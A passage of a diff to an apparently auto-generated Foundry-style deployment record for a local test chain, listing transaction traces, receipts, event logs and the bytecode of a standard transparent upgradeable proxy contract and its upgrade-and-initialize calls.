"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "nonce": 3, + "gas_used": 573230 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x64c4", + "cumulativeGasUsed": "0x8bf2e", "logs": [ { - "address": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", "topics": [ "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "0x0000000000000000000000000000000000000000000000000000000000000000", "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" ], "data": "0x" + }, + { + "address": "0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9", + "topics": [ + "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" } ], - "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000080000400000000000000000000000000001000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000008000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x7dedc3150469bcc1905b29cb091ca369d550d97c37a081b673c10849a80cde6f", - "block_number": 22 + "block_hash": "0xc0a1e423681d43bb6a6f65f74cea24f4c5d4656f0e46461bd3cfed1c0551d972", + "block_number": 4 }, { "info": { - "transaction_hash": "0xdbeaad0376d936df8f5bb54707e0b78789158df3505b3401a68e8d7b418ccad3", + "transaction_hash": "0xd37d821613f3296bf7b88e5f2da62d3722dede33334e56330285fb4a592ab75d", "transaction_index": 1, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "contract_address": null, + "to": null, + "contract_address": "0x0165878a594ca255338adfa4d48449f69242eb8f", "traces": [ { "parent": null, - "children": [ - 1 - ], + "children": [], "idx": 0, "trace": { "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "maybe_precompile": null, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "CALL", - "value": "0x0", - "data": "0x9623609d000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "output": "0x", - "gas_used": 19615, - "gas_limit": 35906, - "status": "Stop", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null - } - }, - "logs": [], - "ordering": [ - { - "Call": 0 - } - ] - }, - { - "parent": 0, - "children": [ - 2 - ], - "idx": 1, - "trace": { - "depth": 1, - "success": true, - "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", - "maybe_precompile": null, + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, - "kind": "CALL", + "kind": "CREATE", "value": "0x0", - "data": "0x4f1ef286000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "output": "0x", - "gas_used": 13345, - "gas_limit": 29221, - "status": "Stop", + "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "output": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "gas_used": 465106, + "gas_limit": 636783, + "status": "Return", "steps": [], "decoded": { "label": null, @@ -2552,7 +2183,7 @@ "raw_log": { "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1" + "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ], "data": "0x" }, @@ -2561,75 +2192,65 @@ "params": null }, "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 } ], "ordering": [ { - "Log": 0 - }, - { - "Call": 0 - } - ] - }, - { - "parent": 1, - "children": [], - "idx": 2, - "trace": { - "depth": 2, - "success": true, - "caller": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", - "address": "0x959922be3caee4b8cd9a407cc3ac1c251c2007b1", - "maybe_precompile": null, - "selfdestruct_address": null, - "selfdestruct_refund_target": null, - "selfdestruct_transferred_value": null, - "kind": "DELEGATECALL", - "value": "0x0", - "data": "0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000", - "output": "0x", - "gas_used": 456, - "gas_limit": 16294, - "status": "Stop", - "steps": [], - "decoded": { - "label": null, - "return_data": null, - "call_data": null + "Log": 0 + }, + { + "Log": 1 } - }, - "logs": [], - "ordering": [] + ] } ], - "exit": "Stop", - "out": "0x", - "nonce": 21, - "gas_used": 42735 + "exit": "Return", + "out": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "nonce": 6, + "gas_used": 573230 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x32a44", + "cumulativeGasUsed": "0x117e5c", "logs": [ { - "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1" + "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ], "data": "0x" + }, + { + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "topics": [ + "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" } ], - "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000002000000000010000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000001000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000040000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, - "block_hash": "0x78297cd2f6138e71564941168b94290e4ee87f69e753b05e66548c726549876b", - "block_number": 13 + "block_hash": "0xfede283911ba375e70bbe42924c1b4680387bc5762aa0a081e0f3b967f9aa6c7", + "block_number": 5 }, { "info": { - "transaction_hash": "0xe405e21ba26d4a3b0a72c85452048c4f59cb45eff93e20f4008c71fda12766b8", + "transaction_hash": "0xcb39bb5111342c9b6c2f3bc3007f67a86aa7cbd10b6ab9031dd81ff5a35d1026", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", @@ -2652,10 +2273,10 @@ "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x9623609d0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "data": "0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 117292, - "gas_limit": 170823, + "gas_used": 118727, + "gas_limit": 172909, "status": "Stop", "steps": [], "decoded": { @@ -2681,17 +2302,17 @@ "depth": 1, "success": true, "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x4f1ef2860000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "data": "0x4f1ef2860000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 111022, - "gas_limit": 162030, + "gas_used": 112343, + "gas_limit": 163971, "status": "Stop", "steps": [], "decoded": { @@ -2705,7 +2326,7 @@ "raw_log": { "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508" + "0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f" ], "data": "0x" }, 